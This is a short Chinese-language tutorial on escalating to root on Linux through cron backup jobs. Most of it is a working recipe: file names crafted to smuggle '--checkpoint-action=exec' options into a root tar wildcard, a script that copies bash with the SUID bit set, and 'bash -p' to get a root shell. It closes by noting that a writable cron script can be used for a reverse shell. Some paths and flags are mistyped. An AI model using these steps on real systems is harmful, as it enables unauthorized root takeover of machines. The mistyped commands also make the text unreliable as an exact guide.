linux利用定时任务提权

背景：

运维为了防止数据丢失等，写个定时任务进行数据的打包压缩。由于数据打包压缩命令为tar，tar可以尝试加参数调用其他命令执行。

压缩命令：tar  zxf 1.tar.gz /var/www/*

查看定时任务：cat /etc/crontab

root权限下

定时任务脚本backup.sh：cd /tmp;tar czf /mp/backip.tar.gz * 

chmod +x backup.sh

并且vim /etc/crontab  将backup.sh脚本开启定时任务

普通用户权限下利用计划任务的备份功能tar命令的参数利用

echo "" > "--checkpoint-action=exec=sh test.sh"

echo "" > --checkpoint=1

echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > test.sh

这里使用的是linux bash提权

chmod +x test.sh

./bash -p

简单理解：

在备份文件时，用到tar命令，tar命令中的一个参数checkpoint设置为1的时候，可以执行命令

Linux-定时任务文件权限配置不当-WEB&本地

利用不安全的权限分配操作导致的定时文件覆盖

chmod 777 775 等 所有者 组 其他成员说明

当服务器中定时任务的脚本，普通用户可以修改时，我可以进行反弹shell到指定服务器